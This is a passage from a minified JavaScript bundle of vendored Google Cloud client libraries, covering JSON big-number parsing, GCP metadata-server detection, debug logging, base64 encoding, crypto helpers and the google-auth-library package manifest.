if(C<x)T=T.slice(0,C)+"."+T.slice(C);return T}if(K=Z(),K.default=K.BigNumber=K,typeof define=="function"&&define.amd)define(function(){return K});else if(typeof cz1<"u"&&cz1.exports)cz1.exports=K;else{if(!A)A=typeof self<"u"&&self?self:window;A.BigNumber=K}})(Nr4)});var kr4=v((MTw,Er4)=>{var Tr4=NH6(),vr4=MTw;(function(){function A(X){return X<10?"0"+X:X}var K=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,q=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,Y,z,w={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':"\\\"","\\":"\\\\"},H;function J(X){return q.lastIndex=0,q.test(X)?'"'+X.replace(q,function($){var _=w[$];return typeof _==="string"?_:"\\u"+("0000"+$.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+X+'"'}function O(X,$){var _,G,Z,W,D=Y,j,M=$[X],P=M!=null&&(M instanceof Tr4||Tr4.isBigNumber(M));if(M&&typeof M==="object"&&typeof M.toJSON==="function")M=M.toJSON(X);if(typeof H==="function")M=H.call($,X,M);switch(typeof M){case"string":if(P)return M;else return J(M);case"number":return isFinite(M)?String(M):"null";case"boolean":case"null":case"bigint":return String(M);case"object":if(!M)return"null";if(Y+=z,j=[],Object.prototype.toString.apply(M)==="[object Array]"){W=M.length;for(_=0;_<W;_+=1)j[_]=O(_,M)||"null";return Z=j.length===0?"[]":Y?`[ `+Y+j.join(`, `+Y)+` `+D+"]":"["+j.join(",")+"]",Y=D,Z}if(H&&typeof H==="object"){W=H.length;for(_=0;_<W;_+=1)if(typeof H[_]==="string"){if(G=H[_],Z=O(G,M),Z)j.push(J(G)+(Y?": ":":")+Z)}}else Object.keys(M).forEach(function(f){var N=O(f,M);if(N)j.push(J(f)+(Y?": ":":")+N)});return Z=j.length===0?"{}":Y?`{ `+Y+j.join(`, `+Y)+` `+D+"}":"{"+j.join(",")+"}",Y=D,Z}}if(typeof vr4.stringify!=="function")vr4.stringify=function(X,$,_){var G;if(Y="",z="",typeof _==="number")for(G=0;G<_;G+=1)z+=" ";else if(typeof _==="string")z=_;if(H=$,$&&typeof $!=="function"&&(typeof $!=="object"||typeof $.length!=="number"))throw Error("JSON.stringify");return O("",{"":X})}})()});var Lr4=v((PTw,Cr4)=>{var lz1=null,va9=/(?:_|\\u005[Ff])(?:_|\\u005[Ff])(?:p|\\u0070)(?:r|\\u0072)(?:o|\\u006[Ff])(?:t|\\u0074)(?:o|\\u006[Ff])(?:_|\\u005[Ff])(?:_|\\u005[Ff])/,Ea9=/(?:c|\\u0063)(?:o|\\u006[Ff])(?:n|\\u006[Ee])(?:s|\\u0073)(?:t|\\u0074)(?:r|\\u0072)(?:u|\\u0075)(?:c|\\u0063)(?:t|\\u0074)(?:o|\\u006[Ff])(?:r|\\u0072)/,ka9=function(A){var K={strict:!1,storeAsString:!1,alwaysParseAsBig:!1,useNativeBigInt:!1,protoAction:"error",constructorAction:"error"};if(A!==void 0&&A!==null){if(A.strict===!0)K.strict=!0;if(A.storeAsString===!0)K.storeAsString=!0;if(K.alwaysParseAsBig=A.alwaysParseAsBig===!0?A.alwaysParseAsBig:!1,K.useNativeBigInt=A.useNativeBigInt===!0?A.useNativeBigInt:!1,typeof A.constructorAction<"u")if(A.constructorAction==="error"||A.constructorAction==="ignore"||A.constructorAction==="preserve")K.constructorAction=A.constructorAction;else throw Error(`Incorrect value for constructorAction option, must be "error", "ignore" or undefined but passed ${A.constructorAction}`);if(typeof A.protoAction<"u")if(A.protoAction==="error"||A.protoAction==="ignore"||A.protoAction==="preserve")K.protoAction=A.protoAction;else throw Error(`Incorrect value for protoAction option, must be "error", "ignore" or undefined but passed ${A.protoAction}`)}var q,Y,z={'"':'"',"\\":"\\","/":"/",b:"\b",f:"\f",n:` `,r:"\r",t:"\t"},w,H=function(D){throw{name:"SyntaxError",message:D,at:q,text:w}},J=function(D){if(D&&D!==Y)H("Expected '"+D+"' instead of '"+Y+"'");return Y=w.charAt(q),q+=1,Y},O=function(){var D,j="";if(Y==="-")j="-",J("-");while(Y>="0"&&Y<="9")j+=Y,J();if(Y==="."){j+=".";while(J()&&Y>="0"&&Y<="9")j+=Y}if(Y==="e"||Y==="E"){if(j+=Y,J(),Y==="-"||Y==="+")j+=Y,J();while(Y>="0"&&Y<="9")j+=Y,J()}if(D=+j,!isFinite(D))H("Bad number");else{if(lz1==null)lz1=NH6();if(j.length>15)return K.storeAsString?j:K.useNativeBigInt?BigInt(j):new lz1(j);else return!K.alwaysParseAsBig?D:K.useNativeBigInt?BigInt(D):new lz1(D)}},X=function(){var D,j,M="",P;if(Y==='"'){var f=q;while(J()){if(Y==='"'){if(q-1>f)M+=w.substring(f,q-1);return J(),M}if(Y==="\\"){if(q-1>f)M+=w.substring(f,q-1);if(J(),Y==="u"){P=0;for(j=0;j<4;j+=1){if(D=parseInt(J(),16),!isFinite(D))break;P=P*16+D}M+=String.fromCharCode(P)}else if(typeof z[Y]==="string")M+=z[Y];else break;f=q}}}H("Bad string")},$=function(){while(Y&&Y<=" ")J()},_=function(){switch(Y){case"t":return J("t"),J("r"),J("u"),J("e"),!0;case"f":return J("f"),J("a"),J("l"),J("s"),J("e"),!1;case"n":return J("n"),J("u"),J("l"),J("l"),null}H("Unexpected '"+Y+"'")},G,Z=function(){var D=[];if(Y==="["){if(J("["),$(),Y==="]")return J("]"),D;while(Y){if(D.push(G()),$(),Y==="]")return J("]"),D;J(","),$()}}H("Bad array")},W=function(){var D,j=Object.create(null);if(Y==="{"){if(J("{"),$(),Y==="}")return J("}"),j;while(Y){if(D=X(),$(),J(":"),K.strict===!0&&Object.hasOwnProperty.call(j,D))H('Duplicate key "'+D+'"');if(va9.test(D)===!0)if(K.protoAction==="error")H("Object contains forbidden prototype property");else if(K.protoAction==="ignore")G();else j[D]=G();else if(Ea9.test(D)===!0)if(K.constructorAction==="error")H("Object contains forbidden constructor property");else if(K.constructorAction==="ignore")G();else j[D]=G();else j[D]=G();if($(),Y==="}")return J("}"),j;J(","),$()}}H("Bad object")};return G=function(){switch($(),Y){case"{":return W();case"[":return Z();case'"':return X();case"-":return O();default:return Y>="0"&&Y<="9"?O():_()}},function(D,j){var M;if(w=D+"",q=0,Y=" ",M=G(),$(),Y)H("Syntax error");return typeof j==="function"?function P(f,N){var T,C,R=f[N];if(R&&typeof R==="object")Object.keys(R).forEach(function(x){if(C=P(R,x),C!==void 0)R[x]=C;else delete R[x]});return j.call(f,N,R)}({"":M},""):M}};Cr4.exports=ka9});var Ir4=v((VTw,iz1)=>{var Rr4=kr4().stringify,yr4=Lr4();iz1.exports=function(A){return{parse:yr4(A),stringify:Rr4}};iz1.exports.parse=yr4();iz1.exports.stringify=Rr4});var TH6=v((mr4)=>{Object.defineProperty(mr4,"__esModule",{value:!0});mr4.GCE_LINUX_BIOS_PATHS=void 0;mr4.isGoogleCloudServerless=br4;mr4.isGoogleComputeEngineLinux=xr4;mr4.isGoogleComputeEngineMACAddress=ur4;mr4.isGoogleComputeEngine=Br4;mr4.detectGCPResidency=La9;var Sr4=CA("fs"),hr4=CA("os");mr4.GCE_LINUX_BIOS_PATHS={BIOS_DATE:"/sys/class/dmi/id/bios_date",BIOS_VENDOR:"/sys/class/dmi/id/bios_vendor"};var Ca9=/^42:01/;function br4(){return!!(process.env.CLOUD_RUN_JOB||process.env.FUNCTION_NAME||process.env.K_SERVICE)}function xr4(){if((0,hr4.platform)()!=="linux")return!1;try{(0,Sr4.statSync)(mr4.GCE_LINUX_BIOS_PATHS.BIOS_DATE);let A=(0,Sr4.readFileSync)(mr4.GCE_LINUX_BIOS_PATHS.BIOS_VENDOR,"utf8");return/Google/.test(A)}catch(A){return!1}}function ur4(){let A=(0,hr4.networkInterfaces)();for(let K of Object.values(A)){if(!K)continue;for(let{mac:q}of K)if(Ca9.test(q))return!0}return!1}function Br4(){return xr4()||ur4()}function La9(){return br4()||Br4()}});var Qr4=v((gr4)=>{Object.defineProperty(gr4,"__esModule",{value:!0});gr4.Colours=void 0;class s3{static isEnabled(A){return A.isTTY&&(typeof A.getColorDepth==="function"?A.getColorDepth()>2:!0)}static refresh(){if(s3.enabled=s3.isEnabled(process.stderr),!this.enabled)s3.reset="",s3.bright="",s3.dim="",s3.red="",s3.green="",s3.yellow="",s3.blue="",s3.magenta="",s3.cyan="",s3.white="",s3.grey="";else s3.reset="\x1B[0m",s3.bright="\x1B[1m",s3.dim="\x1B[2m",s3.red="\x1B[31m",s3.green="\x1B[32m",s3.yellow="\x1B[33m",s3.blue="\x1B[34m",s3.magenta="\x1B[35m",s3.cyan="\x1B[36m",s3.white="\x1B[37m",s3.grey="\x1B[90m"}}gr4.Colours=s3;s3.enabled=!1;s3.reset="";s3.bright="";s3.dim="";s3.red="";s3.green="";s3.yellow="";s3.blue="";s3.magenta="";s3.cyan="";s3.white="";s3.grey="";s3.refresh()});var ir4=v((rz)=>{var ba9=rz&&rz.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),xa9=rz&&rz.__setModuleDefault||(Object.create?function(A,K){Object.defineProperty(A,"default",{enumerable:!0,value:K})}:function(A,K){A.default=K}),Ur4=rz&&rz.__importStar||function(A){if(A&&A.__esModule)return A;var K={};if(A!=null){for(var q in A)if(q!=="default"&&Object.prototype.hasOwnProperty.call(A,q))ba9(K,A,q)}return xa9(K,A),K};Object.defineProperty(rz,"__esModule",{value:!0});rz.env=rz.DebugLogBackendBase=rz.placeholder=rz.AdhocDebugLogger=rz.LogSeverity=void 0;rz.getNodeBackend=vH6;rz.getDebugBackend=Ba9;rz.getStructuredBackend=ma9;rz.setBackend=ga9;rz.log=lr4;var ua9=CA("node:events"),JhA=Ur4(CA("node:process")),pr4=Ur4(CA("node:util")),BT=Qr4(),ay;(function(A){A.DEFAULT="DEFAULT",A.DEBUG="DEBUG",A.INFO="INFO",A.WARNING="WARNING",A.ERROR="ERROR"})(ay||(rz.LogSeverity=ay={}));class rz1 extends ua9.EventEmitter{constructor(A,K){super();this.namespace=A,this.upstream=K,this.func=Object.assign(this.invoke.bind(this),{instance:this,on:(q,Y)=>this.on(q,Y)}),this.func.debug=(...q)=>this.invokeSeverity(ay.DEBUG,...q),this.func.info=(...q)=>this.invokeSeverity(ay.INFO,...q),this.func.warn=(...q)=>this.invokeSeverity(ay.WARNING,...q),this.func.error=(...q)=>this.invokeSeverity(ay.ERROR,...q),this.func.sublog=(q)=>lr4(q,this.func)}invoke(A,...K){if(this.upstream)this.upstream(A,...K);this.emit("log",A,K)}invokeSeverity(A,...K){this.invoke({severity:A},...K)}}rz.AdhocDebugLogger=rz1;rz.placeholder=new rz1("",()=>{}).func;class OhA{constructor(){var A;this.cached=new Map,this.filters=[],this.filtersSet=!1;let K=(A=JhA.env[rz.env.nodeEnables])!==null&&A!==void 0?A:"*";if(K==="all")K="*";this.filters=K.split(",")}log(A,K,...q){try{if(!this.filtersSet)this.setFilters(),this.filtersSet=!0;let Y=this.cached.get(A);if(!Y)Y=this.makeLogger(A),this.cached.set(A,Y);Y(K,...q)}catch(Y){console.error(Y)}}}rz.DebugLogBackendBase=OhA;class kH6 extends OhA{constructor(){super(...arguments);this.enabledRegexp=/.*/g}isEnabled(A){return this.enabledRegexp.test(A)}makeLogger(A){if(!this.enabledRegexp.test(A))return()=>{};return(K,...q)=>{var Y;let z=`${BT.Colours.green}${A}${BT.Colours.reset}`,w=`${BT.Colours.yellow}${JhA.pid}${BT.Colours.reset}`,H;switch(K.severity){case ay.ERROR:H=`${BT.Colours.red}${K.severity}${BT.Colours.reset}`;break;case ay.INFO:H=`${BT.Colours.magenta}${K.severity}${BT.Colours.reset}`;break;case ay.WARNING:H=`${BT.Colours.yellow}${K.severity}${BT.Colours.reset}`;break;default:H=(Y=K.severity)!==null&&Y!==void 0?Y:ay.DEFAULT;break}let J=pr4.formatWithOptions({colors:BT.Colours.enabled},...q),O=Object.assign({},K);delete O.severity;let X=Object.getOwnPropertyNames(O).length?JSON.stringify(O):"",$=X?`${BT.Colours.grey}${X}${BT.Colours.reset}`:"";console.error("%s [%s|%s] %s%s",w,z,H,J,X?` ${$}`:"")}}setFilters(){let K=this.filters.join(",").replace(/[|\\{}()[\]^$+?.]/g,"\\$&").replace(/\*/g,".*").replace(/,/g,"$|^");this.enabledRegexp=new RegExp(`^${K}$`,"i")}}function vH6(){return new kH6}class dr4 extends OhA{constructor(A){super();this.debugPkg=A}makeLogger(A){let K=this.debugPkg(A);return(q,...Y)=>{K(Y[0],...Y.slice(1))}}setFilters(){var A;let K=(A=JhA.env.NODE_DEBUG)!==null&&A!==void 0?A:"";JhA.env.NODE_DEBUG=`${K}${K?",":""}${this.filters.join(",")}`}}function Ba9(A){return new dr4(A)}class cr4 extends OhA{constructor(A){var K;super();this.upstream=(K=A)!==null&&K!==void 0?K:new kH6}makeLogger(A){let K=this.upstream.makeLogger(A);return(q,...Y)=>{var z;let w=(z=q.severity)!==null&&z!==void 0?z:ay.INFO,H=Object.assign({severity:w,message:pr4.format(...Y)},q),J=JSON.stringify(H);K(q,J)}}setFilters(){this.upstream.setFilters()}}function ma9(A){return new cr4(A)}rz.env={nodeEnables:"GOOGLE_SDK_NODE_LOGGING"};var EH6=new Map,$C=void 0;function ga9(A){$C=A,EH6.clear()}function lr4(A,K){if(!JhA.env[rz.env.nodeEnables])return rz.placeholder;if(!A)return rz.placeholder;if(K)A=`${K.instance.namespace}:${A}`;let Y=EH6.get(A);if(Y)return Y.func;if($C===null)return rz.placeholder;else if($C===void 0)$C=vH6();let z=(()=>{let w=void 0;return new rz1(A,(J,...O)=>{if(w!==$C){if($C===null)return;else if($C===void 0)$C=vH6();w=$C}$C===null||$C===void 0||$C.log(A,J,...O)})})();return EH6.set(A,z),z.func}});var nr4=v((x7A)=>{var Fa9=x7A&&x7A.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),Qa9=x7A&&x7A.__exportStar||function(A,K){for(var q in A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))Fa9(K,A,q)};Object.defineProperty(x7A,"__esModule",{value:!0});Qa9(ir4(),x7A)});var $hA=v((Sq)=>{var Ua9=Sq&&Sq.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),pa9=Sq&&Sq.__exportStar||function(A,K){for(var q in A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))Ua9(K,A,q)};Object.defineProperty(Sq,"__esModule",{value:!0});Sq.gcpResidencyCache=Sq.METADATA_SERVER_DETECTION=Sq.HEADERS=Sq.HEADER_VALUE=Sq.HEADER_NAME=Sq.SECONDARY_HOST_ADDRESS=Sq.HOST_ADDRESS=Sq.BASE_PATH=void 0;Sq.instance=ra9;Sq.project=oa9;Sq.universe=aa9;Sq.bulk=sa9;Sq.isAvailable=ea9;Sq.resetIsAvailableCache=As9;Sq.getGCPResidency=RH6;Sq.setGCPResidency=or4;Sq.requestTimeout=ar4;var CH6=oy(),da9=Ir4(),ca9=TH6(),la9=nr4();Sq.BASE_PATH="/computeMetadata/v1";Sq.HOST_ADDRESS="http://169.254.169.254";Sq.SECONDARY_HOST_ADDRESS="http://metadata.google.internal.";Sq.HEADER_NAME="Metadata-Flavor";Sq.HEADER_VALUE="Google";Sq.HEADERS=Object.freeze({[Sq.HEADER_NAME]:Sq.HEADER_VALUE});var rr4=la9.log("gcp metadata");Sq.METADATA_SERVER_DETECTION=Object.freeze({"assume-present":"don't try to ping the metadata server, but assume it's present",none:"don't try to ping the metadata server, but don't try to use it either","bios-only":"treat the result of a BIOS probe as canonical (don't fall back to pinging)","ping-only":"skip the BIOS probe, and go straight to pinging"});function LH6(A){if(!A)A=process.env.GCE_METADATA_IP||process.env.GCE_METADATA_HOST||Sq.HOST_ADDRESS;if(!/^https?:\/\//.test(A))A=`http://${A}`;return new URL(Sq.BASE_PATH,A).href}function ia9(A){Object.keys(A).forEach((K)=>{switch(K){case"params":case"property":case"headers":break;case"qs":throw Error("'qs' is not a valid configuration option. Please use 'params' instead.");default:throw Error(`'${K}' is not a valid configuration option.`)}})}async function XhA(A,K={},q=3,Y=!1){let z="",w={},H={};if(typeof A==="object"){let $=A;z=$.metadataKey,w=$.params||w,H=$.headers||H,q=$.noResponseRetries||q,Y=$.fastFail||Y}else z=A;if(typeof K==="string")z+=`/${K}`;else{if(ia9(K),K.property)z+=`/${K.property}`;H=K.headers||H,w=K.params||w}let J=Y?na9:CH6.request,O={url:`${LH6()}/${z}`,headers:{...Sq.HEADERS,...H},retryConfig:{noResponseRetries:q},params:w,responseType:"text",timeout:ar4()};rr4.info("instance request %j",O);let X=await J(O);if(rr4.info("instance metadata is %s",X.data),X.headers[Sq.HEADER_NAME.toLowerCase()]!==Sq.HEADER_VALUE)throw Error(`Invalid response from metadata service: incorrect ${Sq.HEADER_NAME} header. Expected '${Sq.HEADER_VALUE}', got ${X.headers[Sq.HEADER_NAME.toLowerCase()]?`'${X.headers[Sq.HEADER_NAME.toLowerCase()]}'`:"no header"}`);if(typeof X.data==="string")try{return da9.parse(X.data)}catch($){}return X.data}async function na9(A){var K;let q={...A,url:(K=A.url)===null||K===void 0?void 0:K.toString().replace(LH6(),LH6(Sq.SECONDARY_HOST_ADDRESS))},Y=!1,z=(0,CH6.request)(A).then((H)=>{return Y=!0,H}).catch((H)=>{if(Y)return w;else throw Y=!0,H}),w=(0,CH6.request)(q).then((H)=>{return Y=!0,H}).catch((H)=>{if(Y)return z;else throw Y=!0,H});return Promise.race([z,w])}function ra9(A){return XhA("instance",A)}function oa9(A){return XhA("project",A)}function aa9(A){return XhA("universe",A)}async function sa9(A){let K={};return await Promise.all(A.map((q)=>{return(async()=>{let Y=await XhA(q),z=q.metadataKey;K[z]=Y})()})),K}function ta9(){return process.env.DETECT_GCP_RETRIES?Number(process.env.DETECT_GCP_RETRIES):0}var oz1;async function ea9(){if(process.env.METADATA_SERVER_DETECTION){let A=process.env.METADATA_SERVER_DETECTION.trim().toLocaleLowerCase();if(!(A in Sq.METADATA_SERVER_DETECTION))throw RangeError(`Unknown \`METADATA_SERVER_DETECTION\` env variable. Got \`${A}\`, but it should be \`${Object.keys(Sq.METADATA_SERVER_DETECTION).join("`, `")}\`, or unset`);switch(A){case"assume-present":return!0;case"none":return!1;case"bios-only":return RH6();case"ping-only":}}try{if(oz1===void 0)oz1=XhA("instance",void 0,ta9(),!(process.env.GCE_METADATA_IP||process.env.GCE_METADATA_HOST));return await oz1,!0}catch(A){let K=A;if(process.env.DEBUG_AUTH)console.info(K);if(K.type==="request-timeout")return!1;if(K.response&&K.response.status===404)return!1;else{if(!(K.response&&K.response.status===404)&&(!K.code||!["EHOSTDOWN","EHOSTUNREACH","ENETUNREACH","ENOENT","ENOTFOUND","ECONNREFUSED"].includes(K.code))){let q="UNKNOWN";if(K.code)q=K.code;process.emitWarning(`received unexpected error = ${K.message} code = ${q}`,"MetadataLookupWarning")}return!1}}}function As9(){oz1=void 0}Sq.gcpResidencyCache=null;function RH6(){if(Sq.gcpResidencyCache===null)or4();return Sq.gcpResidencyCache}function or4(A=null){Sq.gcpResidencyCache=A!==null?A:(0,ca9.detectGCPResidency)()}function ar4(){return RH6()?0:3000}pa9(TH6(),Sq)});var SH6=v((Os9)=>{Os9.byteLength=qs9;Os9.toByteArray=zs9;Os9.fromByteArray=Js9;var Gu=[],_C=[],Ks9=typeof Uint8Array<"u"?Uint8Array:Array,yH6="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";for(Xo=0,IH6=yH6.length;Xo<IH6;++Xo)Gu[Xo]=yH6[Xo],_C[yH6.charCodeAt(Xo)]=Xo;var Xo,IH6;_C[45]=62;_C[95]=63;function sr4(A){var K=A.length;if(K%4>0)throw Error("Invalid string. Length must be a multiple of 4");var q=A.indexOf("=");if(q===-1)q=K;var Y=q===K?0:4-q%4;return[q,Y]}function qs9(A){var K=sr4(A),q=K[0],Y=K[1];return(q+Y)*3/4-Y}function Ys9(A,K,q){return(K+q)*3/4-q}function zs9(A){var K,q=sr4(A),Y=q[0],z=q[1],w=new Ks9(Ys9(A,Y,z)),H=0,J=z>0?Y-4:Y,O;for(O=0;O<J;O+=4)K=_C[A.charCodeAt(O)]<<18|_C[A.charCodeAt(O+1)]<<12|_C[A.charCodeAt(O+2)]<<6|_C[A.charCodeAt(O+3)],w[H++]=K>>16&255,w[H++]=K>>8&255,w[H++]=K&255;if(z===2)K=_C[A.charCodeAt(O)]<<2|_C[A.charCodeAt(O+1)]>>4,w[H++]=K&255;if(z===1)K=_C[A.charCodeAt(O)]<<10|_C[A.charCodeAt(O+1)]<<4|_C[A.charCodeAt(O+2)]>>2,w[H++]=K>>8&255,w[H++]=K&255;return w}function ws9(A){return Gu[A>>18&63]+Gu[A>>12&63]+Gu[A>>6&63]+Gu[A&63]}function Hs9(A,K,q){var Y,z=[];for(var w=K;w<q;w+=3)Y=(A[w]<<16&16711680)+(A[w+1]<<8&65280)+(A[w+2]&255),z.push(ws9(Y));return z.join("")}function Js9(A){var K,q=A.length,Y=q%3,z=[],w=16383;for(var H=0,J=q-Y;H<J;H+=w)z.push(Hs9(A,H,H+w>J?J:H+w));if(Y===1)K=A[q-1],z.push(Gu[K>>2]+Gu[K<<4&63]+"==");else if(Y===2)K=(A[q-2]<<8)+A[q-1],z.push(Gu[K>>10]+Gu[K>>4&63]+Gu[K<<2&63]+"=");return z.join("")}});var Ao4=v((tr4)=>{Object.defineProperty(tr4,"__esModule",{value:!0});tr4.BrowserCrypto=void 0;var Z_A=SH6(),Gs9=W_A();class az1{constructor(){if(typeof window>"u"||window.crypto===void 0||window.crypto.subtle===void 0)throw Error("SubtleCrypto not found. Make sure it's an https:// website.")}async sha256DigestBase64(A){let K=new TextEncoder().encode(A),q=await window.crypto.subtle.digest("SHA-256",K);return Z_A.fromByteArray(new Uint8Array(q))}randomBytesBase64(A){let K=new Uint8Array(A);return window.crypto.getRandomValues(K),Z_A.fromByteArray(K)}static padBase64(A){while(A.length%4!==0)A+="=";return A}async verify(A,K,q){let Y={name:"RSASSA-PKCS1-v1_5",hash:{name:"SHA-256"}},z=new TextEncoder().encode(K),w=Z_A.toByteArray(az1.padBase64(q)),H=await window.crypto.subtle.importKey("jwk",A,Y,!0,["verify"]);return await window.crypto.subtle.verify(Y,H,w,z)}async sign(A,K){let q={name:"RSASSA-PKCS1-v1_5",hash:{name:"SHA-256"}},Y=new TextEncoder().encode(K),z=await window.crypto.subtle.importKey("jwk",A,q,!0,["sign"]),w=await window.crypto.subtle.sign(q,z,Y);return Z_A.fromByteArray(new Uint8Array(w))}decodeBase64StringUtf8(A){let K=Z_A.toByteArray(az1.padBase64(A));return new TextDecoder().decode(K)}encodeBase64StringUtf8(A){let K=new TextEncoder().encode(A);return Z_A.fromByteArray(K)}async sha256DigestHex(A){let K=new TextEncoder().encode(A),q=await window.crypto.subtle.digest("SHA-256",K);return(0,Gs9.fromArrayBufferToHex)(q)}async signWithHmacSha256(A,K){let q=typeof A==="string"?A:String.fromCharCode(...new Uint16Array(A)),Y=new TextEncoder,z=await window.crypto.subtle.importKey("raw",Y.encode(q),{name:"HMAC",hash:{name:"SHA-256"}},!1,["sign"]);return window.crypto.subtle.sign("HMAC",z,Y.encode(K))}}tr4.BrowserCrypto=az1});var zo4=v((qo4)=>{Object.defineProperty(qo4,"__esModule",{value:!0});qo4.NodeCrypto=void 0;var D_A=CA("crypto");class Ko4{async sha256DigestBase64(A){return D_A.createHash("sha256").update(A).digest("base64")}randomBytesBase64(A){return D_A.randomBytes(A).toString("base64")}async verify(A,K,q){let Y=D_A.createVerify("RSA-SHA256");return Y.update(K),Y.end(),Y.verify(A,q,"base64")}async sign(A,K){let q=D_A.createSign("RSA-SHA256");return q.update(K),q.end(),q.sign(A,"base64")}decodeBase64StringUtf8(A){return Buffer.from(A,"base64").toString("utf-8")}encodeBase64StringUtf8(A){return Buffer.from(A,"utf-8").toString("base64")}async sha256DigestHex(A){return D_A.createHash("sha256").update(A).digest("hex")}async signWithHmacSha256(A,K){let q=typeof A==="string"?A:Ws9(A);return Zs9(D_A.createHmac("sha256",q).update(K).digest())}}qo4.NodeCrypto=Ko4;function Zs9(A){return A.buffer.slice(A.byteOffset,A.byteOffset+A.byteLength)}function Ws9(A){return Buffer.from(A)}});var W_A=v((Ho4)=>{Object.defineProperty(Ho4,"__esModule",{value:!0});Ho4.createCrypto=Ms9;Ho4.hasBrowserCrypto=wo4;Ho4.fromArrayBufferToHex=Ps9;var Ds9=Ao4(),js9=zo4();function Ms9(){if(wo4())return new Ds9.BrowserCrypto;return new js9.NodeCrypto}function wo4(){return typeof window<"u"&&typeof window.crypto<"u"&&typeof window.crypto.subtle<"u"}function Ps9(A){return Array.from(new Uint8Array(A)).map((q)=>{return q.toString(16).padStart(2,"0")}).join("")}});var Oo4=v((Jo4)=>{Object.defineProperty(Jo4,"__esModule",{value:!0});Jo4.validate=Ts9;function Ts9(A){let K=[{invalid:"uri",expected:"url"},{invalid:"json",expected:"data"},{invalid:"qs",expected:"params"}];for(let q of K)if(A[q.invalid]){let Y=`'${q.invalid}' is not a valid configuration option. Please use '${q.expected}' instead. This library is using Axios for requests. Please see https://github.com/axios/axios to learn more about the valid request options.`;throw Error(Y)}}});var hH6=v((ITw,Es9)=>{Es9.exports={name:"google-auth-library",version:"9.15.1",author:"Google Inc.",description:"Google APIs Authentication Client Library for Node.js",engines:{node:">=14"},main:"./build/src/index.js",types:"./build/src/index.d.ts",repository:"googleapis/google-auth-library-nodejs.git",keywords:["google","api","google apis","client","client library"],dependencies:{"base64-js":"^1.3.0","ecdsa-sig-formatter":"^1.0.11",gaxios:"^6.1.1","gcp-metadata":"^6.1.0",gtoken:"^7.0.0",jws:"^4.0.0"},devDependencies:{"@types/base64-js":"^1.2.5","@types/chai":"^4.1.7","@types/jws":"^3.1.0","@types/mocha":"^9.0.0","@types/mv":"^2.1.0","@types/ncp":"^2.0.1","@types/node":"^20.4.2","@types/sinon":"^17.0.0","assert-rejects":"^1.0.0",c8:"^8.0.0",chai:"^4.2.0",cheerio:"1.0.0-rc.12",codecov:"^3.0.2","engine.io":"6.6.2",gts:"^5.0.0","is-docker":"^2.0.0",jsdoc:"^4.0.0","jsdoc-fresh":"^3.0.0","jsdoc-region-tag":"^3.0.0",karma:"^6.0.0","karma-chrome-launcher":"^3.0.0","karma-coverage":"^2.0.0","karma-firefox-launcher":"^2.0.0","karma-mocha":"^2.0.0","karma-sourcemap-loader":"^0.4.0","karma-webpack":"5.0.0",keypair:"^1.0.4",linkinator:"^4.0.0",mocha:"^9.2.2",mv:"^2.1.1",ncp:"^2.0.0",nock:"^13.0.0","null-loader":"^4.0.0",pdfmake:"0.2.12",puppeteer:"^21.0.0",sinon:"^18.0.0","ts-loader":"^8.0.0",typescript:"^5.1.6",webpack:"^5.21.2","webpack-cli":"^4.0.0"},files:["build/src","!build/src/**/*.map"],scripts:{test:"c8 mocha build/test",clean:"gts clean",prepare:"npm run compile",lint:"gts check",compile:"tsc -p .",fix:"gts fix",pretest:"npm run compile -- --sourceMap",docs:"jsdoc -c .jsdoc.json","samples-setup":"cd samples/ && npm link ../ && npm run setup && cd ../","samples-test":"cd samples/ && npm link ../ && npm test && cd ../","system-test":"mocha build/system-test --timeout 60000","presystem-test":"npm run compile -- --sourceMap",webpack:"webpack","browser-test":"karma start","docs-test":"linkinator docs","predocs-test":"npm run docs",prelint:"cd samples; npm link ../; npm install",precompile:"gts clean"},license:"Apache-2.0"}});var GhA=v(($o4)=>{Object.defineProperty($o4,"__esModule",{value:!0});$o4.DefaultTransporter=void 0;var ks9=oy(),Cs9=Oo4(),Ls9=hH6(),Xo4="google-api-nodejs-client";class _hA{constructor(){this.instance=new ks9.Gaxios}configure(A={}){if(A.headers=A.headers||{},typeof window>"u"){let K=A.headers["User-Agent"];if(!K)A.headers["User-Agent"]=_hA.USER_AGENT;else if(!K.includes(`${Xo4}/`))A.headers["User-Agent"]=`${K} ${_hA.USER_AGENT}`;if(!A.headers["x-goog-api-client"]){let q=process.version.replace(/^v/,"");A.headers["x-goog-api-client"]=`gl-node/${q}`}}return A}request(A){return A=this.configure(A),(0,Cs9.validate)(A),this.instance.request(A).catch((K)=>{throw this.processError(K)})}get defaults(){return this.instance.defaults}set defaults(A){this.instance.defaults=A}processError(A){let K=A.response,q=A,Y=K?K.data:null;if(K&&Y&&Y.error&&K.status!==200)if(typeof Y.error==="string")q.message=Y.error,q.status=K.status;else if(Array.isArray(Y.error.errors))q.message=Y.error.errors.map((z)=>z.message).join(` `),q.code=Y.error.code,q.errors=Y.error.errors;else 